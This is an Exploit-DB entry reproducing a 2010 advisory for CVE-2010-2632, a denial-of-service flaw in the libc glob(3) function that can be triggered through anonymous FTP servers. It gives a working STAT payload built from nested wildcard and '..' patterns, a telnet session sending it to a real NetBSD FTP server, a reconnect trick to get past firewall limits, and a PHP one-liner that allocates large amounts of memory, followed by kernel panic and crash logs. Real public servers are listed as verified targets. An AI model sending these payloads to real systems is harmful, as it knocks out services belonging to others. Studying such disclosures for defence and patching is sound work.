Exploit-DB #15215
Description: libc/glob(3) - Resource Exhaustion / Remote ftpd-anonymous (Denial of Service)
Type: dos
Platform: multiple
Date: 2010-10-07
Author: Maksymilian Arciemowicz

Exploit:
Source: http://securityreason.com/securityalert/7822

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Multiple Vendors libc/glob(3) resource exhaustion (+0day remote
ftpd-anon) ]

Author: Maksymilian Arciemowicz
http://netbsd.org/donations/
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 06.11.2009
- - Pub.: 07.10.2010

CVE: CVE-2010-2632

Affected Software (verified):
- - OpenBSD 4.7
- - NetBSD 5.0.2
- - FreeBSD 7.3/8.1
- - Oracle Sun Solaris 10
- - GNU Libc (glibc)

Affected Ftp Servers:
- - ftp.openbsd.org (verified 02.07.2010: "connection refused" and ban)
- - ftp.netbsd.org (verified 02.07.2010: "connection limit of 160 reached"
and ban)
- - ftp.freebsd.org
- - ftp.adobe.com
- - ftp.hp.com
- - ftp.sun.com
- - more more and more

Affected Vendors (not verified):
- - Apple
- - Microsoft Interix
- - HP
- - more more more

Original URL:
http://securityreason.com/achievement_securityalert/89


- --- 0.Description ---

#include <glob.h>

int glob(const char *pattern, int flags,
int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);

Description

This function expands a filename wildcard which is passed as pattern.

GLOB_LIMIT Limit the amount of memory used by matches to
ARG_MAX.
This option should be set for programs that can be
coerced to a denial of service attack via patterns
that
expand to a very large number of matches, such as a
long
string of */../*/..


- --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---
As we can read in definition GLOB_LIMIT:

- --
Limit the amount of memory used by matches to ARG_MAX. This option should
be set for programs that can be coerced to a denial of service attack via
patterns that expand to a very large number of mat
ches, such as a long string of */../*/..
- ---

but now is comming question "what will happen when we use */.. without
matching any results (simple searching)?" GLOB_LIMIT will be not
overflowed. To realize it, we need only use pattern with many
*/.. and many inodes in current directory. On the end of pattern, we need
add some not existed filename (like /cxib*).
If we don't have many files or directories in attacked direcotry, we need
create some dir-structure.

Let's see again:
http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&co
ntent-type=text/x-cvsweb-markup

GLOB_LIMIT

protect us before attacks like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*

because glob will find more patches as in GLOB_LIMIT declared. Anyway, if
we use path what do not exists (with */.. strings) like

*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha

GLOB_LIMIT will be never overflowed. Many combinations of paths, will
execute this proces a long time. We can also try allocate
(GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB

Example:
> telnet ftp.netbsd.org 21
Trying 204.152.190.15...
Connected to ftp.netbsd.org.
Escape character is '^]'.
220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.
user anonymous
331 Guest login ok, type your name as password.
pass anon@cxib
230-
The NetBSD Project FTP Server located in Redwood City, CA, USA
...
230-
EXPORT NOTICE

...
230 Guest login ok, access restrictions apply.
stat
{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}
/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx


this request will generate 100% usage of process a long time. ftpd come
into glob(3) and will not fast out. Very similar sympthon was described in
vulnerability for glibc strfmon(3)

- - http://securityreason.com/achievement_securityalert/67 --
...
Interesting is that the PHP memory_limit has no control over what will
happens in the level of the libc. Function strfmon(3) can allocate a lot
of
data in memory without control by PHP memory_limit.

For example:
php -r 'money_format("%[PII_REDACTED]i",1);'

will allocate ~1049MB real memory.
memory_limit can be less that 1049M
...
- - http://securityreason.com/achievement_securityalert/67 --

ftpd also dosen't control what will happen in libc.

so it is enough to send
- ---
USER anonymous
PASS
STAT */..[calculated pattern]
- ---

and disconnect to connect again (bypass firewall limits). In php we can
also bypass max_memory_limit by libc vulns.

Attacking machine in this way, we can call the various side effects.

- -kernel panic in netbsd502---
Jul 5 10:18:13 dhclient: DHCPACK from 192.168.92.254
Jul 5 10:18:14 dhclient: bound to 192.168.92.171 -- renewal in 886
seconds.
Jul 5 10:22:43 syslogd: restart
Jul 5 10:22:43 /netbsd: uvm_fault(0xcc2eb35c, 0, 2) -> 0xe
Jul 5 10:22:43 /netbsd: fatal page fault in supervisor mode
Jul 5 10:22:43 /netbsd: trap type 6 code 2 eip c07d9784 cs 8 eflags 10206
cr2 0 ilevel 0
Jul 5 10:22:43 /netbsd: panic: trap
Jul 5 10:22:43 /netbsd: Begin traceback...
Jul 5 10:22:43 /netbsd: End traceback...
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd: dumping to dev 0,1 offset 8
Jul 5 10:22:43 /netbsd: dump succeeded
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd:
Jul 5 10:22:43 /netbsd: rebooting...
Jul 5 10:22:43 /netbsd: Copyright (c) 1996, 1997, 1998, 1999, 2000, 2001,
2002, 2003, 2004, 2005,
- -kernel panic in netbsd502---

- -crash in openbsd47---
# ls
Segmentation fault (core dumped)

or ftpd.core

# gdb -q /usr/libexec/ftpd ftpd.core
(no debugging symbols found)
Core was generated by `ftpd'.
Program terminated with signal 11, Segmentation fault.
#0 0x0a77facb in ?? ()
(gdb) i r
eax 0xffffffff -1
ecx 0x6 6
edx 0x0 0
ebx 0x18 24
esp 0xcfbc1e70 0xcfbc1e70
ebp 0xcfbc1ea8 0xcfbc1ea8
esi 0x0 0
edi 0x81f78100 [PII_REDACTED]
eip 0xa77facb 0xa77facb
eflags 0x10206 66054
cs 0x2b 43
ss 0x33 51
ds 0x33 51
es 0x33 51
fs 0x33 51
gs 0x33 51
(gdb) bt
#0 0x0a77facb in ?? ()
Cannot access memory at address 0xcfbc1e70
- -crash in openbsd47---

P